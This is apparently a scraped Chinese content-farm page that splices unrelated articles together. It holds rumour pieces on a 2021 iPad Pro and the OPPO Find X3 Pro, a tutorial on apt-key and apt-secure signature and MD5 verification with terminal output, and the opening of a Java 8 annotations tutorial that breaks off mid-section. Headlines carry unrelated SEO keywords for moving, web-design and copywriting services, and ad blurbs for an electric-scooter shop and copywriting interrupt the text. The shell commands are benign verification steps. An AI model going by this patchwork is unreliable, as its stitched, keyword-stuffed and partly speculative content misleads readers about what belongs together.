疑似 2021 iPad Pro CAD 工程圖現身,外型改變不大,主要更新在內部硬體_台中搬家

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近年 Apple 更新旗下產品的時間可說逐漸縮短,也因此對於想買新品的人,一定會期待今年會不會有新機種出現?該這時候買還是等等看?去年就曾更新過的 iPad Pro,照道理來說今年應該不太可能有新款(上一次是二年一更),但稍早網路上出現一系列疑似 2021 iPad Pro CAD 工程圖,加上先前分析師的預測內容,看來今年也是蠻有機會的。

疑似 2021 iPad Pro CAD 工程圖現身

稍早外媒 mysmartprice 獲得一組 2021 iPad Pro CAD 洩漏工程圖,而且還註明是從值得信賴的內部人士提供。

圖中明顯顯示,2021 iPad Pro  外型不會有太大的改變,基本上長得一樣,但有可能會更改內部的揚聲器,進而減少喇叭孔數量。mysmartprice  也表示,目前已經確認 11 吋 iPad Pro 的尺寸,將會是 245.74 x 176.61 x 5.90mm,厚度則跟上一代相同:

鏡頭模組看起來也跟上一代一樣,不過似乎又凸出來一點,至於相機規格目前都還不知道。音量鍵將位於右側,鎖定鍵則是頂部,同樣會採用 USB-C 的傳輸充電介面:

硬體方面,既然是新款 2021 iPad Pro,搭載 A 系列晶片的效能當然有望大幅提升。先前知名分析師還指出,Apple 將會發表 mini-LED 版本的 12.9 吋 iPad Pro,厚度可能會增加 0.5mm。

此外,台灣 DigiTimes 去年也獲得內部人士提供的消息,2021 高端的 iPad 產品有機會獲得 mmWave 技術,意味著將支援 5G 網路。

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2021 iPad Pro 推出時間預計會在今年 3 月,不過一切還是要以 Apple 為主。

資料來源:mysmartprice

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爆料大神釋出 OPPO Find X3 Pro 首批高清晰官方渲染圖_台中搬家公司

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在昨(12)日 OPPO 在台灣推出 Reno5 和 Reno5 Pro 之後,接下來 OPPO 傳聞首款搭載高通 Snapdragon 888 處理器的 OPPO Find X3 Pro 也由爆料大神 Evan Blass(@evleaks)在稍早於 Voice 釋出了首批高清晰官方渲染圖。與之前謠傳 Find X3 Pro 主相機外型設計與 iPhone 12 Pro 鏡頭排列有些類似,不過機身後蓋採一體成型設計呈現更流線的機身線條。

▲圖片來源:Evan Blass(Voice/@evleaks)

爆料大神釋出 OPPO Find X3 Pro 首批高清晰官方渲染圖

在去年 11 月,爆料大神  Evan Blass 首次提及關於將搭載高通 Snapdragon 888 處理器的 OPPO Find X3 Pro(代號:Fussi),同時也提到相機部份 Find X3 Pro 將配備 5,000 萬像素四鏡頭主相機,其中標準鏡頭和超廣角鏡頭都將採用 SONY 全新的感光元件,此外也具備 1,300 萬像素 2x 望遠鏡頭以及 300 萬像素微距鏡頭。
在外觀方面,之前我們曾分享過來自 TheLeaks 製作的 OPPO Find X3 Pro 渲染圖,不過隨後 DuanRui 等人則提到該張渲染圖的「方向正確」但外型並非如此,並暗示 Find X2 Pro 的主相機鏡頭排列位置和 iPhone 12 Pro 有些雷同、但不一樣。

在稍早,也由爆料大神 Evan Blass 釋出 Find X3 Pro 的首批官方渲染圖,作為 2021 年首款 OPPO 旗艦級手機, Find X3 Pro 在主機身背面的設計將有著帶有「駝峰」隆起的四鏡頭主相機設計,鏡頭除了傳聞將有兩顆鏡頭採用 SONY 兩個尚未發表的 5000 萬像素感光元件、其中也將包含 25 倍變焦的顯微鏡微距鏡頭。

▲圖片來源:Evan Blass(Voice/@evleaks)

螢幕方面, Find X3 系列不僅將是首款搭載 OPPO 「全鏈路色彩管理系統」的機型,這套系統是一套基於硬體所開發的色彩管理系統,該色彩管理系統擁有兩大核心技術,全鏈路 10-bit 及色彩管理,能夠大幅度提升色彩採集的豐富度,在顯示環節則能讓畫質更加清晰且更精準的還原顯示圖像色彩。
OPPO Find X3 Pro 預計採用 6.7 吋 2K 解析度具有自適應調整的 120Hz 更新率螢幕(支援 10Hz – 120Hz 可變螢幕更新率),同時螢幕也支持 HDR10+ 。
外型設計部分,除了在 Find X3 Pro 螢幕則預計採用雙曲面螢幕、機身厚度為 8mm 、重量控制在 190g ,機身背面材質提供霧面陶瓷與拋光玻璃兩種材質。

▲圖片來源:Evan Blass(Voice/@evleaks)

另外,傳聞 Find X3 Pro 將搭載等效 4500mAh 大電池,預計採用 65W SuperVOOC 3.0 超級閃充和 30W Air VOOC 無線快充。
OPPO Find X3 Pro 預計搭載高通 Snapdragon 888 處理器,之前 i冰宇宙在微博上傳一張 OPPO 型號 PEEM00 裝置安兔兔跑分達 771,491 分,這成績在目前看來雖然已經不是最高(黑鯊遊戲手機4 的「實驗室」跑分更高),但傳聞這項 77.1 萬的安兔兔性能跑分是在一般環境下進行測試,如果再調整一下可能屆時正式發表性能會再更強大。

▲圖片來源:i冰宇宙(微博)

除了 OPPO Find X3 Pro , Find X3 系列也傳聞將推出 Find X3 Neo 、 Find X3 Lite 等多款機型,其中在部分市場或將推出的 Find X3 Lite 其實就是 Reno5 ,而昨日 OPPO Reno5 和 Reno5 Pro 也剛在台灣發表並開放預購。

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消息來源:Evan Blass(Voice/@evleaks)|Evan Blass(Twitter/@evleaks)|DuanRai(Twitter/@duanrui1205)

延伸閱讀:
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apt-key 密鑰管理,apt-secure 原理 驗證鏈 驗證測試_網頁設計公司

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apt-key

用於管理Debian Linux系統中的軟件包密鑰。每個發布的deb包,都是通過密鑰認證的,apt-key用來管理密鑰。

  • apt-key list

    列出已保存在系統中key。包括 /etc/apt/trusted.gpg 和 /etc/apt/trusted.gpg.d/目錄下的密鑰

  • apt-key add <keyname >

    把下載的key添加到本地trusted數據庫中,使用描述性名稱,以gpg或asc作為文件擴展名

  • apt-key del <keyname>

    從本地trusted數據庫刪除key。

  • apt-key update (棄用,直接刪除和添加)

    更新本地trusted數據庫,刪除過期沒用的key。

  • apt-key adv --recv-key

    下載並添加到受信任密鑰環中(不做任何檢查,有風險)

    http://manpages.ubuntu.com/manpages/bionic/en/man8/apt-key.8.html

目錄、文件

/var/cache/apt/archives

已經下載到的.deb軟件包都放在這裏(用 apt-get install 安裝軟件時,軟件包的臨時存放路徑)

/var/lib/apt/lists

存放已安裝和未安裝的軟件列表

使用apt-get update命令會從/etc/apt/sources.list指定的源更新軟件列表,並保存到該目錄

/etc/apt

sources.list 官方軟件源地址(配置為阿里源)

souces.list.d 目錄下是第三方軟件源地址,裏面的文件必須以.list結尾

https://askubuntu.com/a/82844

/etc/apt

trusted.gpg: local trusted keys, new keys will be added here

trusted.gpg.d:additional keyrings can be stored here (by other packages or the administrator)

/usr/bin/

通過 apt 安裝的軟件,命令存放在 /usr/bin/ 目錄下

apt-secure

參考

http://manpages.ubuntu.com/manpages/bionic/en/man8/apt-secure.8.html

SecureApt

基礎元素

Release 文件

Release文件包含分發元數據和索引文件的校驗值

apt 要求隨 Release 文件一起發布一個 Relesase.gpg 的簽名文件,用來驗證安裝包提供者的信息

InRelease 文件

InRelease文件內聯gpg簽名(數據和簽名在一個 InRelease 文件中)

lfp@legion:/var/lib/apt/lists$ ls
...
# 兩個文件
deb.nodesource.com_node%5f12.x_dists_bionic_InRelease
deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages
...
# 三個文件
dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages
dl.google.com_linux_chrome_deb_dists_stable_Release
dl.google.com_linux_chrome_deb_dists_stable_Release.gpg
...

區別:在下載時避免競爭情況

The only difference to Release is that the signature is not detached, but within the file. This is a first step towards getting rid of race conditions when updating Packages/Sources files and mirror updates
running

https://lists.debian.org/debian-devel-announce/2009/11/msg00001.html

校驗值MD5

保護apt安全的基礎

debian archive 包含一個Release文件,隨安裝包一起更新,裡面包含了分發元數據和Package的MD5

Package文件里包含安裝信息以及安裝文件的MD5

驗證鏈

1)驗證簽名文件

簽名文件用來保證Package文件的正確性

  • 如果無法下載 Release 文件或 Release.gpg 簽名無效,則報錯

    W: GPG 錯誤……下列簽名無效 EXPKEYSIG……

    E: 倉庫……沒有数字簽名

    N: 無法安全地用該源進行更新,所以默認禁用該源

    缺少公鑰

  • apt 使用 gpg 來驗證簽名文件

    1. 獲取密鑰

      默認情況下,Debian 系統會預先安裝一些 Debian Archieve 的公鑰,保存在 /etc/apt/trusted.gpg文件中,第三方軟件密鑰需要通過apt-key add [.gpg] 安裝到/etc/apt/sources.list.d/目錄下

      一旦將密鑰添加到apt的密鑰環中,就相當於告訴apt信任該密鑰簽名的一切東西

      如果公鑰丟失,可以通過下面的命令到公鑰服務器上尋找

      apt-key adv --keyserver <server_url> --recv-key <keyId>

      1. 如果更新失敗可能是防火牆端口問題,嘗試指定常規HTTP端口80

      2. 如果連接的是公司的代理服務器,可以嘗試下面的方法

         --keyserver-options http-proxy=<myProxy> --keyserver keyserver.ubuntu.com
        
    2. 通過gpgv簽名驗證工具來驗證簽名的有效性

      詳細介紹參見博文GPG配置、命令、實例與apt-key密鑰測試

      • gpgv 認為apt密鑰環中的密鑰都是可信的,不會檢查其是否過期或被吊銷

      • 通過--keyring [.gpg file]指定密鑰環,-v可以显示更多信息

        apt 密鑰環保存在 /etc/apt/trusted.gpg 或 /etc/apt/trusted.gpg.d/xxx.gpg 中

      • 單獨簽名驗證

        gpgv --keyring /etc/apt/trusted.gpg [Release.gpg file] [Release file]

      • 內聯簽名驗證

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        gpgv --keyring /etc/apt/trusted.gpg [InRelease file]

2)驗證Package文件

Package 文件中包含軟件不同版本的信息,用來保證deb文件的正確性

  1. 從Release文件或InRelease文件中提取Package文件的MD5

    sed -n "s,main/binary-amd64/Packages$,,p" [Release / InRelease file]

  2. 計算Package文件的MD5

    md5sum [Packages file]

3)驗證安裝包

  1. 從Package文件中提取deb文件的MD5

    sed -n "s/MD5sum: //p" [Packages file]

  2. 從apt緩存中提取軟件的MD5

    apt-cache show [package_name] | sed -n "s/MD5sum: //p"

  3. 計算本地已下載deb文件的MD5

    md5sum [.deb file]

驗證測試

chrome 驗證

特點

  1. chrome 是Release文件和簽名文件[.gpg]分離的
  2. 使用本地密鑰環驗證(保存在 /etc/apt/trusted.gpg)

官方聲明

https://www.google.com/linuxrepositories/

Release.gpg文件

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAABCAAGBQJeqbVjAAoJEHi9ZUc8s70TgUIP/RzWWeDxvtGrmLoWt0csiD+O
wrAr86yDSSzFasjKPcS+SQzs5FnCamFdTT7KD2C6thwRgCLR3oumHMuKC5hnb9/4
GP7qMCDYQEMR2IQcWfKPoT2fAX1eKDKJtv5qsAEdSb3uIW27zkdvUA4j4N6w4toA
RA24VV/VSK1p3T4j3HQzN6fOta0wA3onN9bPrcXZAig7Tm78SKbjYEzd1jxIeQQE
aTKP6AfHPnn8UFNkVyifigsd1Usaex3BJumzHq+jLhTtJDcLjqQNQdcKs48xY0Ek
lZJHY1w/p8e06Y16fXxO/Mh6+Kmu+ZBOKEo3VjshBOISASkMXG/JPEjWadP62A8S
lprRALXaWLcF5P5RYjdqhatCxH37SQr3iqqQmdC/PSCDq/Z5cYiVIElyUeHnMZ6i
X6wYvOd1n9p64VgUAINpbY0NeWZc0Kj1pMXaL+bohUnH8YWDfIhFdQDdQbd0DxBY
xgSTAuUn4DkMKZvtqVEsAIZk5VrYjWykdvdaZad8DdAhVxuHzl1xVEXRDyDhxvUN
IE2oOMv1N5MrXKHtGJLITlv0SAtbZRSaez91dudr9eoln8bZ+oFI9VrHO0xKO2/W
/VRMExkQC51OHCEtZKfsqqSAEG0sctvagq5MElCElZkmD/P72MuznRBgjbfeKs/B
JMSaAmp1mus5Mo7BZND6
=/bSj
-----END PGP SIGNATURE-----                      
驗證簽名
lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg dl.google.com_linux_chrome_deb_dists_stable_Release.gpg dl.google.com_linux_chrome_deb_dists_stable_Release
gpgv: 簽名建立於 2020年04月30日 星期四 01時12分03秒 CST
gpgv:                使用 RSA 密鑰 78BD65473CB3BD13
gpgv: 完好的簽名,來自於“Google Inc. (Linux Packages Signing Authority) <linux-packages-keymaster@google.com>”

Release文件

包含Package文件的MD5

Origin: Google LLC
Label: Google
Suite: stable
Codename: stable
Version: 1.0
Date: Wed, 29 Apr 2020 17:11:57 UTC
Architectures: amd64
Components: main
Description: Google chrome-linux software repository
MD5Sum:
 2e55673e5a00d8837090d0922e198520 4599 main/binary-amd64/Packages
 eafbe9cc415e53d2280c86a0d64be27d 1133 main/binary-amd64/Packages.gz
 156e5ea7a0c6bed5973a68a45e546dc9 151 main/binary-amd64/Release
SHA1:
 9525687fab2b772c511c9e9ae5c7c7b6d8b92e2a 4599 main/binary-amd64/Packages
 c364469ff8578e7c7323b030ad3e459b9192a4ea 1133 main/binary-amd64/Packages.gz
 0f4348c2d4d7cc1f8e59b5934d87f1ca872f6e34 151 main/binary-amd64/Release
SHA256:
 667d27f55652d51c57c0eaab074dd2d365e373ebd5b6e1277b18606cc5177c1b 4599 main/binary-amd64/Packages
 7dc589a54517f36e7786b101555e9f1d2c6e2058b1b3743c575eb8c165094620 1133 main/binary-amd64/Packages.gz
 c1e3c9318381862306adcdc4fd4fe2d85be8aa4c4f3dcbb40fce80413f588286 151 main/binary-amd64/Release

提取Package文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s,main/binary-amd64/Packages$,,p" dl.google.com_linux_chrome_deb_dists_stable_Release
 2e55673e5a00d8837090d0922e198520 4599 
 9525687fab2b772c511c9e9ae5c7c7b6d8b92e2a 4599 
 667d27f55652d51c57c0eaab074dd2d365e373ebd5b6e1277b18606cc5177c1b 4599 

計算Package文件的MD5
lfp@legion:/var/lib/apt/lists$ md5sum dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages 
2e55673e5a00d8837090d0922e198520  dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages

Package文件可信

2e55673e5a00d8837090d0922e198520 一致

Package文件

包含deb文件的MD5

# 包含各種版本的chrome
Package: google-chrome-beta
...
Package: google-chrome-stable
Version: 81.0.4044.129-1
Architecture: amd64
Maintainer: Chrome Linux Team <chromium-dev@chromium.org>
Installed-Size: 229948
Pre-Depends: dpkg (>= 1.14.0)
Depends: ca-certificates, fonts-liberation, libappindicator3-1, libasound2 (>= 1.0.16), libatk-bridge2.0-0 (>= 2.5.3), libatk1.0-0 (>= 2.2.0), libatspi2.0-0 (>= 2.9.90), libc6 (>= 2.16), libcairo2 (>= 1.6.0), libcups2 (>= 1.4.0), libdbus-1-3 (>= 1.5.12), libdrm2 (>= 2.4.38), libexpat1 (>= 2.0.1), libgbm1 (>= 8.1~0), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0), libglib2.0-0 (>= 2.39.4), libgtk-3-0 (>= 3.9.10), libnspr4 (>= 2:4.9-2~), libnss3 (>= 2:3.22), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0 (>= 1.14.0), libx11-6 (>= 2:1.4.99.1), libx11-xcb1, libxcb-dri3-0, libxcb1 (>= 1.6), libxcomposite1 (>= 1:0.3-1), libxcursor1 (>> 1.1.2), libxdamage1 (>= 1:1.1), libxext6, libxfixes3 (>= 1:5.0), libxi6 (>= 2:1.2.99.4), libxrandr2 (>= 2:1.2.99.3), libxrender1, libxss1, libxtst6, wget, xdg-utils (>= 1.0.2)
Recommends: libu2f-udev, libvulkan1
Provides: www-browser
Priority: optional
Section: web
Filename: pool/main/g/google-chrome-stable/google-chrome-stable_81.0.4044.129-1_amd64.deb
Size: 67137920
SHA256: fe140112304b243240a5f6b287105fd5b7d6e48c6ff682194a62c8d08fd0ed5b
SHA1: f5f984d1a1419b803a7a26dbda1d04fb8313c4b3
# md5
MD5sum: 3705bb8b32a9b4cfcc4440c14966acbc
Description: The web browser from Google
 Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier.

Package: google-chrome-unstable
...
提取deb文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages 
9c6634a7bbda0cedb2d218410c0a06c2
3705bb8b32a9b4cfcc4440c14966acbc
fe9bc72b7cb12549a69187c0e393f930
從apt緩存中提取chrome信息
lfp@legion:/var/lib/apt/lists$ apt-cache show chromium-browser | sed -n "s/MD5sum: //p"
# 沒有匹配的md5,打開瀏覽器,查看chrome的版本信息是:版本 81.0.4044.129(正式版本) (64 位)
# apt-cache show chromium-browser 显示信息如下,沒有找到同一個版本,於是從Google下載了一個最新的安裝包
# Package: chromium-browser
# Filename: pool/universe/c/chromium-browser/chromium-browser_80.0.3987.163-0ubuntu0.18.04.1_amd64.deb
6dcd58431410a691c847a709765f7248
dfd394ff98654f1e0a97d204f7343ab1
計算deb文件的MD5

從Google那裡下載了一個deb安裝包

lfp@legion:~/Downloads$ md5sum google-chrome-stable_current_amd64.deb 
3705bb8b32a9b4cfcc4440c14966acbc  google-chrome-stable_current_amd64.deb
deb文件可信

3705bb8b32a9b4cfcc4440c14966acbc 一致

nodejs驗證

特點

  1. nodejs 是InRelease文件,內聯簽名
  2. 使用本地密鑰環驗證(保存在 /etc/apt/trusted.gpg)

InRelease文件

包含Package文件的MD5

驗證簽名
lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg deb.nodesource.com_node%5f12.x_dists_bionic_InRelease 
gpgv: 簽名建立於 2020年04月30日 星期四 00時53分13秒 CST
gpgv:                使用 RSA 密鑰 9FD3B784BC1C6FC31A8A0A1C1655A0AB68576280
gpgv: 完好的簽名,來自於“NodeSource <gpg@nodesource.com>”

lfp@legion:/var/lib/apt/lists$ vim deb.nodesource.com_node%5f12.x_dists_bionic_InRelease

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Origin: Node Source
Label: Node Source
Codename: bionic
Date: Wed, 29 Apr 2020 16:53:13 UTC
Architectures: i386 amd64 armhf arm64
Components: main
Description: Apt Repository for the Node.JS 12.x Branch
MD5Sum:
 d41d8cd98f00b204e9800998ecf8427e 0 main/binary-i386/Packages
 7029066c27ac6f5ef18d660d5741979a 20 main/binary-i386/Packages.gz
 cf52b42ebdc37bfabc86a5db93fcbdbc 130 main/binary-i386/Release
 # amd64
 6d2cd675d3c647d51a8ee0349754a976 1195 main/binary-amd64/Packages
 608cc59026b960ec64b97bcbeaa68003 765 main/binary-amd64/Packages.gz
 049fa528953b36ae91d8fe360618d46f 131 main/binary-amd64/Release
 14ce3c619a83d518ee3e433dedbdf26a 1216 main/binary-armhf/Packages
 219c6a1d7d300d409d4bb8249911d58f 775 main/binary-armhf/Packages.gz
 8064ccb91382a3c1cbade0c462ee18b3 131 main/binary-armhf/Release
 45ad97bad6053d65a462c352219fa962 1195 main/binary-arm64/Packages
 8afb33e583bf54aabaeb9b3378c3ca26 766 main/binary-arm64/Packages.gz
 670d019ad65bf455298c252afc334bff 131 main/binary-arm64/Release
 d41d8cd98f00b204e9800998ecf8427e 0 main/source/Sources
 7029066c27ac6f5ef18d660d5741979a 20 main/source/Sources.gz
 e4627d3fe224f8b3c07d9a69c88bedd2 132 main/source/Release

提取Package文件的MD5
sed -n "s,main/binary-amd64/Packages$,,p" deb.nodesource.com_node%5f12.x_dists_bionic_InRelease 
 6d2cd675d3c647d51a8ee0349754a976 1195 
 4615cf89691b8c95c052a84b09a1d24079268403 1195 
 8ec2d3674dc82a29ca759a2cf59cfe67a2b6c3a42106c523b11f93791a1e538e 1195 
計算Package文件的MD5
lfp@legion:/var/lib/apt/lists$ md5sum deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages 
6d2cd675d3c647d51a8ee0349754a976  deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages
Package文件可信

6d2cd675d3c647d51a8ee0349754a976 一致

Package文件

包含deb文件的MD5

Package: nodejs
Version: 12.16.3-1nodesource1
Architecture: amd64
Maintainer: Chris Lea <chl@nodesource.com>
Installed-Size: 87857
Depends: libc6 (>= 2.17), libgcc1 (>= 1:3.4), libstdc++6 (>= 4.8), python-minimal, ca-certificates
Conflicts: nodejs-dev, nodejs-legacy, npm
Replaces: nodejs-dev (<= 0.8.22), nodejs-legacy, npm (<= 1.2.14)
Provides: nodejs-dev, nodejs-legacy, npm
Homepage: https://nodejs.org
Priority: optional
Section: web
Filename: pool/main/n/nodejs/nodejs_12.16.3-1nodesource1_amd64.deb
Size: 17989662
SHA256: b2d1a6327f5a34c097d7fb5eeed8357d9758c09b30e356f45dfa01cc24103108
SHA1: de90a1776ee9995b3121ab68f49fef3cb110ce65
MD5sum: 9f87646d2782a572da1f965cf96f974f
Description: Node.js event-based server-side javascript engine
 Node.js is similar in design to and influenced by systems like
 Ruby's Event Machine or Python's Twisted.
 .
 It takes the event model a bit further - it presents the event
 loop as a language construct instead of as a library.
 .
 Node.js is bundled with several useful libraries to handle server tasks :
 System, Events, Standard I/O, Modules, Timers, Child Processes, POSIX,
 HTTP, Multipart Parsing, TCP, DNS, Assert, Path, URL, Query Strings.

提取deb文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages 
9f87646d2782a572da1f965cf96f974f
從apt緩存中提取nodejs信息
lfp@legion:/var/lib/apt/lists$ apt-cache show nodejs | sed -n "s/MD5sum: //p"
# 包含不同版本的信息
9f87646d2782a572da1f965cf96f974f
0e6643fbe872255dbfaebd5449813d8f
02d7a42a30a7d72b78d9bc4a7ceb5a5a
3930b41c309e69cc0bd3737cfc1e7d31
計算deb文件的md5
lfp@legion:/var/lib/apt/lists$ md5sum /var/cache/apt/archives/nodejs_12.16.3-1nodesource1_amd64.deb 
9f87646d2782a572da1f965cf96f974f  /var/cache/apt/archives/nodejs_12.16.3-1nodesource1_amd64.deb
deb文件可信

9f87646d2782a572da1f965cf96f974f 一致

smplayer 驗證

特點

  1. smplayer 是InRelease文件,內聯簽名
  2. 使用第三方密鑰環去驗證(保存在/etc/apt/trusted.gpg.d目錄中)

驗證流程

  1. 簽名

    lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg.d/rvm_ubuntu_smplayer.gpg ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_InRelease 
    gpgv: 簽名建立於 2020年04月13日 星期一 23時45分47秒 CST
    gpgv:                使用 RSA 密鑰 A7E13D78E4A4F4F4
    gpgv: 完好的簽名,來自於“Launchpad PPA named smplayer for rvm”
    
  2. Package

    MD5 7aa109a3525c661e783e9b943e4b46fa

    lfp@legion:/var/lib/apt/lists$ sed -n "s,main/binary-amd64/Packages$,,p" ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_InRelease 
     7aa109a3525c661e783e9b943e4b46fa             2909 
     29ca94a4f3a57c328b31789bce66cd6bbaa819e2             2909 
     6586e6ef8389cddb47ae0f7f7761ddbfedab35ed3ffbb3b10b4a1f91264577ae             2909 
    
    lfp@legion:/var/lib/apt/lists$ md5sum ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages 
    7aa109a3525c661e783e9b943e4b46fa  ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages
    
  3. deb

    MD5 601afc2fe220b608acb1e5b920afca96

    lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages 
    601afc2fe220b608acb1e5b920afca96
    b569cc540016f0b04fae5dd15a1434eb
    4eb1111c66b5087e7489cf7526321a9e
    45a466ca713b566f920d9e6414212552
    
    lfp@legion:/etc/apt/trusted.gpg.d$ apt-cache show smplayer | grep -E 'MD5|Filename'
    Filename: pool/main/s/smplayer/smplayer_20.4.2-1~bionic1_amd64.deb
    MD5sum: 601afc2fe220b608acb1e5b920afca96
    Filename: pool/universe/s/smplayer/smplayer_18.2.2~ds0-1_amd64.deb
    MD5sum: 7fdfc2f64d835cf5f7a38035523379a2
    
    lfp@legion:/var/cache/apt/archives$ md5sum smplayer_20.4.2-1~bionic1_amd64.deb 
    601afc2fe220b608acb1e5b920afca96  smplayer_20.4.2-1~bionic1_amd64.deb
    

沒有公鑰或簽名無效測試

  1. 本地沒有該公鑰

  2. 本地公鑰過期

    猜測:此時軟件發布者應該會創建一個新的子密鑰來簽名,而本地公鑰是過期的,情況類似於用一個錯誤的密鑰驗證簽名文件

    # 使用錯誤的密鑰去驗證簽名文件
    lfp@legion:~$ gpgv --keyring /etc/apt/trusted.gpg.d/sogou-archive-keyring.gpg /var/lib/apt/lists/typora.io_linux_._InRelease 
    gpgv: 簽名建立於 2020年03月04日 星期三 00時11分02秒 CST
    gpgv:                使用 RSA 密鑰 4AC441BE68B4ADAB7439FBF9BA300B7755AFCFAE
    gpgv:                issuer "abner@typora.io"
    gpgv: 無法檢查簽名:沒有公鑰
    

相關問題

EXPKEYSIG 沒有数字簽名

問題:執行apt update 出現如下錯誤

W: GPG 錯誤:https://dl.yarnpkg.com/debian stable InRelease: 下列簽名無效: EXPKEYSIG 23E7166788B63E1E Yarn Packaging yarn@dan.cx
E: 倉庫 “https://dl.yarnpkg.com/debian stable InRelease” 沒有数字簽名。
N: 無法安全地用該源進行更新,所以默認禁用該源

原因:

安裝第三方軟件的時候會同時安裝軟件倉庫地址以及密鑰,上述問題是因為本地的密鑰過期了,需要更新

https://github.com/yarnpkg/yarn/issues/7866#issue-558663837

辦法:更新密鑰

  1. 找到該軟件安裝方法中添加密鑰的方式(如yarn的安裝步驟一),再次執行即可

  2. 直接搜索密鑰添加到密鑰列表

    apt-key adv --keyserver <server_url> --recv-key <keyId>
    
  3. 到服務器找密鑰手動安裝

    1. 獲取 pub_key的ID

      23E7166788B63E1E

    2. 到密鑰服務器上以十六進制形式搜索

      http://keyserver.ubuntu.com/

      0x23E7166788B63E1E

    3. 單擊 pub鏈接,複製密鑰內容並保存到本地,以txt格式

      key.txt

      密鑰內容

    4. 終端添加密鑰

      sudo apt-key add key.txt

      ok

    5. 更新

      sudo apt update

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

【Java8新特性】重複註解與類型註解,你真的學會了嗎?_如何寫文案

※教你寫出一流的銷售文案?

銷售文案是什麼?A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代,文案成為行銷中最重要的宣傳方式,好的文案可節省大量宣傳資源,達成行銷目的。

寫在前面

在Java8之前,在某個類或者方法,字段或者參數上標註註解時,同一個註解只能標註一次。但是在Java8中,新增了重複註解和類型註解,也就是說,從Java8開始,支持在某個類或者方法,字段或者參數上標註多個相同的註解。那麼,有讀者就會問了:如何實現呢?別急,往下看!文中不只是Java8中的註解。

JDK5中的註解

1.註解(@)

註解就相當於一種標記,在程序中加了註解就等於為程序加了某種標記。(JDK1.5新特性)。

2.作用

告訴javac編譯器或者java開發工具……向其傳遞某種信息,作為一個標記。

3.如何理解註解?

一個註解就是一個類。

標記可以加在包、類、字段、方法,方法參數以及局部變量上。可以同時存在多個註解。

每一個註解結尾都沒有“;”或者其他特別符號。

定義註解需要的基礎註解信息如下所示。

@SuppressWarnings("deprecation")  //編譯器警告過時(source階段)
@Deprecated						//過時(Runtime階段)
@Override						//重寫(source階段)
@Retention(RetentionPolicy.RUNTIME)	
//保留註解到程序運行時。(Runtime階段)
@Target({ElementType.METHOD,ElementType.TYPE})
//標記既能定義在方法上,又能定義在類、接口、枚舉上等。

注意:

1)添加註解需要有註解類。RetentionPolicy是一個枚舉類(有三個成員)。

2)Target中可以存放數組。它的默認值為任何元素。

  • ElementType.METHOD:表示只能標記在方法上。
  • ElementType.TYPE:表示只能標記定義在類上、接口上、枚舉上等

3)ElementType也是枚舉類。成員包括:ANNOTATION_TYPE(註解)、CONSTRUCTOR(構造方法)、FIEID(成員變量)、LOCAL_VARIABLE(變量)、METHOD(方法)、PACKAGE(包)、PARAMETER(參數)、TYPE。

4.關於註解

  • 元註解:註解的註解(理解:給一個註解類再加註解)
  • 元數據:數據的數據
  • 元信息:信息的信息

5.註解分為三個階段

java源文件–> class文件 –> 內存中的字節碼。

Retention的註解有三種取值:(分別對應註解的三個階段)

  • RetentionPolicy.SOURCE
  • RetentionPolicy.CLASS
  • RetentionPolicy.RUNTIME

注意:註解的默認階段是Class。

6.註解的屬性類型

原始類型(就是八個基本數據類型)、String類型、Class類型、數組類型、枚舉類型、註解類型。

7.為註解增加屬性

value:是一個特殊的屬性,若在設置值時只有一個value屬性需要設置或者其他屬性都採用默認值時 ,那麼value=可以省略,直接寫所設置的值即可。

例如:@SuppressWarnings("deprecation")

為屬性指定缺省值(默認值):
例如:String value() default "blue"; //定義在註解類中

數組類型的屬性:
例如:int[] arrayArr() default {3,4,5,5};//定義在註解類中
SunAnnotation(arrayArr={3,9,8}) //設置數組值
注意:如果數組屬性中只有一個元素時,屬性值部分可以省略大括號。
例如:SunAnnotation(arrayArr=9)

枚舉類型的屬性:
例如:EnumDemo.TrafficLamp lamp()
////枚舉類型屬性, 定義在註解類中,這裏使用了自定義的枚舉類EnumDemo.java並沒有給出相關代碼,這裏只是舉個例子
default EnumDemo.TrafficLamp.RED;

註解類型的屬性:
例如:MetaAnnotation annotationAttr()
//定義在一個註解類中,並指定缺省值,
//此屬性關聯到註解類:MetaAnnotation.java, 
default @MetaAnnotation("lhm");
//設置註解屬性值
@SunAnnotation(annotationAttr=@MetaAnnotation("flx"))

Java8中的註解

對於註解(也被稱做元數據),Java 8 主要有兩點改進:類型註解和重複註解。

1.類型註解

1)Java 8 的類型註解擴展了註解使用的範圍。

